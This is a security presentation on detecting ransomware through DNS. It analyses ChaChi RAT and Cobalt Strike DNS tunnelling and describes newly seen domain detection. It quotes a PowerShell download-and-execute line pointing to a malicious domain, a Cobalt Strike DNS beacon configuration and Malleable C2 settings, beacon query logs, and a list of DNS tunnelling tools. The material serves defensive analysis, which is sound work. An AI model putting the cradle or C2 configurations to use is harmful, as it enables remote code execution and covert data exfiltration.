DNS as Added Security Against Ransomware Attacks

Using DNS to add a layer of defense against ransomware

Artsiom Holub
Senior Security Analyst
2022
Gathering intelligence at the DNS layer

User request patterns
Used to detect:
- Compromised systems
- Command and control callbacks
- Malware and phishing attempts
- Algorithm-generated domains
- Domain co-occurrences
- Newly registered domains

Authoritative DNS logs
Used to find:
- Newly staged infrastructures
- Malicious domains, IPs, ASNs
- DNS hijacking
- Fast flux domains

Any device
Recursive DNS
Authoritative DNS

root
com.
domain.com.
DNS tunneling adoption for C&C and data exfiltration
DNS tunneling

IT policy avoidance and guest Wi-Fi abuse

Data exfiltration and C2 callbacks
Modern Ransomware Attacks
Multistage attacks often result in ransomware.
ChaChi RAT delivers PYSA ransomware

DNS traffic generated by ChaChi

ChaChi RAT C2 DNS Tunneling analysis

Decoding C2 Domains

```
loc_7C06B9:
    mov    rdx, cs:qword_C07D00
    mov    qword ptr [rsp+68h+var_68], rdx
    imul   rcx, 3B9ACA00h
    and    rax, 3FFFFFFFh
    movsx   rax, eax
    add    rax, rcx
    mov    rcx, 0A1B203EB3D1A0000h
    add    rax, rcx
    mov    qword ptr [rsp+68h+var_68+8], rax
    call   math_rand__ptr_Rand__Seed
    nop
    mov    rax, cs:qword_C07D00
    mov    qword ptr [rsp+68h+var_68], rax
    mov    qword ptr [rsp+68h+var_68+8], 1
    call   math_rand__ptr_Rand__Intn
    mov    rax, qword ptr [rsp+68h+var_58]
    mov    [rsp+68h+var_48], rax
    call   main_decode_C2_Domains
    movups  xmm0, [rsp+68h+var_68]
    movups  [rsp+68h+var_28], xmm0
    movups  xmm0, [rsp+68h+var_58]
    movups  [rsp+68h+var_18], xmm0
    mov    rax, [rsp+68h+var_48]
    cmp    rax, 2
    jnb    short loc_7C0771
```

ChaChi RAT C2 DNS Tunneling analysis

Modified Chashell

Chashell DNS tunnelling Query and Response

ChaChi RAT C2 DNS Tunneling analysis

Chashell Protocol Buffer Message.

```protobuf
message Message {
  bytes clientguid = 1;
  oneof packet {
    ChunkStart chunkstart = 2;
    ChunkData chunkdata = 3;
    PollQuery pollquery = 4;
    InfoPacket infopacket = 5;
  }
}
```
Quantum ransomware in 4 hours

18:56 - 18:57
IcedID malware persistence

18:57
Discovery Activity

20:43
C&C injected CobaltStrike

20:44
Domain and network discovery

20:53
Credential Access

21:08
Lateral Movement via RDP

21:21
CobaltStrike executed on Server

21:38 – 22:06
Lateral Movement to joined systems via RDP

22:28
Quantum ransomware staged on Domain Controller

22:40
Quantum transferred and executed
CobaltStrike DNS beacon

C2 channel over DNS

1. Infected machine queries 1234.profiles.evil.com.
2. Local DNS server resolves the query to profiles.evil.com.
Ransomware utilizing CobaltStrike

Ransomware Attacks

- DNS Beacon is one of the most used Cobalt Strike features
- DNS Beacon is a DNS-only payload (no HTTP communication)
- A beacon can be configured with Malleable C2 configuration
Analyzing DNS Traffic

Beacon configuration

Config found: xorkey ...
0x0001 payload type 0x0001 0x0002 1 windows-beacon_dns-reverse_http
... ...
...
0x0008 server, get-uri 0x0003 0x0100 ‘malicious.domain.evil/search/’
... ...
...
0x0006 maxdns 0x0001 0x0002 245
0x0013 DNS_Idle 0x0002 0x0004 123443044 8.8.4.4
0x0014 DNS_Sleep 0x0002 0x0004 10000
0x003c DNS_beacon 0x0003 0x0021 (NULL ...)
0x003d DNS_A 0x0003 0x0021 ‘cdn.’
0x003e DNS_AAAA 0x0003 0x0021 ‘www6.’
0x003f DNS_TXT 0x0003 0x0021 ‘api.’
0x0040 DNS_metadata 0x0003 0x0021 ‘www.’
0x0041 DNS_output 0x0003 0x0021 ‘post.’
0x0042 DNS_resolver 0x0003 0x000f (NULL ...)
...
Analyzing DNS Traffic

Malleable C2 configuration:

dns-beacon {

  # Options moved into 'dns-beacon' group in 4.3:
  set dns_idle  "1.2.3.4";
  set dns_max_txt  "199";
  set dns_sleep  "1";
  set dns_ttl  "5";
  set maxdns  "200";
  set dns_stager_prepend  "doc-stg-prepend";
  set dns_stager_subhost  "doc-stg-sh.";

  # DNS subhost override options added in 4.3:
  set beacon  "doc.bc.";
  set get_A  "doc.1a.";
  set get_AAAA  "doc.4a.";
  set get_TXT  "doc.tx.";
  set put_metadata  "doc.md.";
  set put_output  "doc.po.";

  set ns_response  "zero";

}

From https://trial.cobaltstrike.com/help-malleable-c2#dns-beacon-bm
Analyzing DNS Traffic

Wireshark view of Cobalt Strike DNS traffic

Analyzing DNS Traffic

DNS_beacon queries and replies

## Analyzing DNS Traffic

### Possible DNS_Beacon replies

<table>
<thead>
<tr>
<th>A record reply</th>
<th>Last byte</th>
<th>Last nibble</th>
<th>Do checkin</th>
<th>DNS mode</th>
<th>record type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.0.0.240</td>
<td>0xF0</td>
<td>0000</td>
<td>N</td>
<td>mode dns</td>
<td>A</td>
</tr>
<tr>
<td>0.0.0.241</td>
<td>0xF1</td>
<td>0001</td>
<td>Y</td>
<td>mode dns</td>
<td>A</td>
</tr>
<tr>
<td>0.0.0.242</td>
<td>0xF2</td>
<td>0010</td>
<td>N</td>
<td>mode dns-txt</td>
<td>TXT</td>
</tr>
<tr>
<td>0.0.0.243</td>
<td>0xF3</td>
<td>0011</td>
<td>Y</td>
<td>mode dns-txt</td>
<td>TXT</td>
</tr>
<tr>
<td>0.0.0.244</td>
<td>0xF4</td>
<td>0100</td>
<td>N</td>
<td>mode dns6</td>
<td>AAAA</td>
</tr>
<tr>
<td>0.0.0.245</td>
<td>0xF5</td>
<td>0101</td>
<td>Y</td>
<td>mode dns6</td>
<td>AAAA</td>
</tr>
</tbody>
</table>

Analyzing DNS Traffic

DNS_TXT queries

## Analyzing DNS Traffic

### DNS_A queries

<table>
<thead>
<tr>
<th>Query A</th>
<th>cdn.04fe22eff.19997cf2.wallet.thedarkestside.org OPT</th>
</tr>
</thead>
<tbody>
<tr>
<td>Response A</td>
<td>cdn.04fe22eff.19997cf2.wallet.thedarkestside.org A 8.8.4.116</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.14fe22eff.19997cf2.wallet.thedarkestside.org</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.14fe22eff.19997cf2.wallet.thedarkestside.org A 19.64.240.89</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.24fe22eff.19997cf2.wallet.thedarkestside.org OPT</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.24fe22eff.19997cf2.wallet.thedarkestside.org A 241.225.135.56</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.34fe22eff.19997cf2.wallet.thedarkestside.org</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.34fe22eff.19997cf2.wallet.thedarkestside.org A 127.132.170.127</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.44fe22eff.19997cf2.wallet.thedarkestside.org OPT</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.44fe22eff.19997cf2.wallet.thedarkestside.org A 87.30.231.4</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.54fe22eff.19997cf2.wallet.thedarkestside.org</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.54fe22eff.19997cf2.wallet.thedarkestside.org A 97.156.155.27</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.64fe22eff.19997cf2.wallet.thedarkestside.org OPT</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.64fe22eff.19997cf2.wallet.thedarkestside.org A 253.162.241.39</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.74fe22eff.19997cf2.wallet.thedarkestside.org</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.74fe22eff.19997cf2.wallet.thedarkestside.org A 61.217.211.72</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.84fe22eff.19997cf2.wallet.thedarkestside.org OPT</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.84fe22eff.19997cf2.wallet.thedarkestside.org A 154.197.14.224</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.94fe22eff.19997cf2.wallet.thedarkestside.org</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.94fe22eff.19997cf2.wallet.thedarkestside.org A 211.139.207.53</td>
</tr>
<tr>
<td>Query A</td>
<td>cdn.a4fe22eff.19997cf2.wallet.thedarkestside.org OPT</td>
</tr>
<tr>
<td>Response A</td>
<td>cdn.a4fe22eff.19997cf2.wallet.thedarkestside.org A 150.38.89.208</td>
</tr>
</tbody>
</table>

Analyzing DNS Traffic

Beacon sending results to the team server with DNS_output queries

This name breaks down into the following labels:

- **post**: DNS_output query
- **140**: transmitted data
- **09842910**: counter + random number
- **19997cf2**: beacon ID
- **wallet[.]thedarkesstside.org**: domain chosen by the operator

DNS Based Detection and Protection
‘Newly seen domains’ category

Reduces risk of the unknown

1. Any user (free or paid) requests the domain
2. Every minute, we sample from our streaming DNS logs
3. Check if domain was seen before and if whitelisted
4. If not, add to category, and within minutes, DNS resolvers are updated globally

Domains used in an attack

Before expiration, if any user requests this domain, it’s logged or blocked as newly seen

Later, Umbrella statistical models or reputation systems identify as malicious

Umbrella’s Auto-WHOIS model may predict as malicious

Attackers register domains

Umbrella’s Cisco Umbrella

Reputation systems

Events

Not yet a threat

Potentially unprotected

Protected

Not yet a threat

Unprotected

Protected

Days to weeks

Minutes

24 hours

1. May have predictively blocked it already, and likely the first requestor was a free user
2. E.g. domain generated for CDN service
3. Usually 24 hours, but modified for best results, as needed.
Domain identified as Newly Seen

miterinader.space

The domain is classified as Medium Risk due to a combination of suspect security features.

Security Categories
- Newly Seen Domains

Content Categories
- 

Timeline

DNS Queries
Domain Events
DNS Changes

Jun 13th, 2021 - Jul 13th, 2021

Max. Queries: 32
Low detection rate

0 / 85

No security vendors flagged this domain as malicious

miterinader.space
Detection rate stays low even after 11 days

8 security vendors flagged this domain as malicious

miterinader.space

<table>
<thead>
<tr>
<th>DETECTION</th>
<th>DETAILS</th>
<th>RELATIONS</th>
<th>COMMUNITY</th>
</tr>
</thead>
<tbody>
<tr>
<td>Avira (no cloud)</td>
<td>Phishing</td>
<td></td>
<td>CyRadar</td>
</tr>
<tr>
<td>ESET</td>
<td>Malware</td>
<td></td>
<td>Fortinet</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>Malware</td>
<td></td>
<td>Lionic</td>
</tr>
<tr>
<td>Netcraft</td>
<td>Malicious</td>
<td></td>
<td>Sophos</td>
</tr>
</tbody>
</table>

Creation Date: 11 days ago
Last Updated: 11 days ago
Downloaded file has low AV detection

3 security vendors flagged this file as malicious

<table>
<thead>
<tr>
<th>File Name</th>
<th>Size</th>
<th>Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>BDGmLigM.dat</td>
<td>248.50 KB</td>
<td>2021-07-13 20:48:05 UTC</td>
</tr>
</tbody>
</table>

**Details:**
- 64bits
- assembly
- invalid-rich-pe-linker-version
- overlay
- pedll

<table>
<thead>
<tr>
<th>Detection</th>
<th>Details</th>
<th>Relations</th>
<th>Behavior</th>
<th>Community</th>
</tr>
</thead>
<tbody>
<tr>
<td>SecureAge APEX</td>
<td>Malicious</td>
<td></td>
<td></td>
<td>FireEye</td>
</tr>
<tr>
<td>Microsoft</td>
<td>Trojan:Win32/Wacatac.B!ml</td>
<td></td>
<td></td>
<td>Acronis (Static ML)</td>
</tr>
</tbody>
</table>

© 2022 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
invoke-expression (new-object net.webclient).downloadstring("http://miterinader.space/333g100/index.php")
Category can be incorporated in the analysis as indicator of potentially malicious activity

### Behavioral Indicators

<table>
<thead>
<tr>
<th>Indicator</th>
<th>Severity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Artifact Flagged Malicious by Antivirus Service</td>
<td>100</td>
</tr>
<tr>
<td>A Document File with Embedded and Minimal Content Established Network Communications</td>
<td>100</td>
</tr>
<tr>
<td>Document Submission Contacted Domain Flagged By Cisco Umbrella</td>
<td>100</td>
</tr>
<tr>
<td>Executable Artifact has Misleading File Extension</td>
<td>60</td>
</tr>
<tr>
<td>Downloaded PE Executable</td>
<td>60</td>
</tr>
<tr>
<td>Cisco Umbrella Categorized Domain As A Newly Seen Domain</td>
<td>60</td>
</tr>
</tbody>
</table>
Detections

- “Reactive” and “Realtime” heuristic and behavioral detections
  - The reactive algorithms can detect a range of tunneling, takes ~1 hr to enforce on a newly seen event
  - Realtime blocks are enforced immediately, use a rule based method coupled with client query behavior

[NEW] Stateful Algorithm Realtime Tunneling Detection

Developed a new technique to identify encrypted Base32 and Base64 messages in real-time. Relies on transition probabilities from one character to the next, identifying character combinations likely related to encrypted messages.
DNS Resolver (Real-time Detection)
Expanded Protection against malicious tunneling tools and query techniques

Upstream Queries
Blocked (no data exfiltrated)

Tools
- DNS2TCP
- DNSCAT2
- DNSExfiltrator...

Encoding techniques and query characteristics
- Base64 ...
- Qtype TXT, SRV, MX, CNAME
DNS Resolver (Real-time Caching Detection)

Name Server Cache
• Caches frequently requested DNS records.
• Name server info frequently cached.

Tunneling Cache Signatures
• Developing proprietary caching strategy.
• Maintain signatures related to tunneling.

Global Resolver Fleet
• DNS resolvers independently detect DNS tunneling.
Ransomware hardening approach

- Monitor and respond to alerts
- Focus your defense strategy on detecting lateral movements and data exfiltration to the internet
- Lock down accessible services
- Segmentation and Zero-Trust
- Inventory your assets and accounts
- Multi Factor Authentication (MFA)
- Patch everything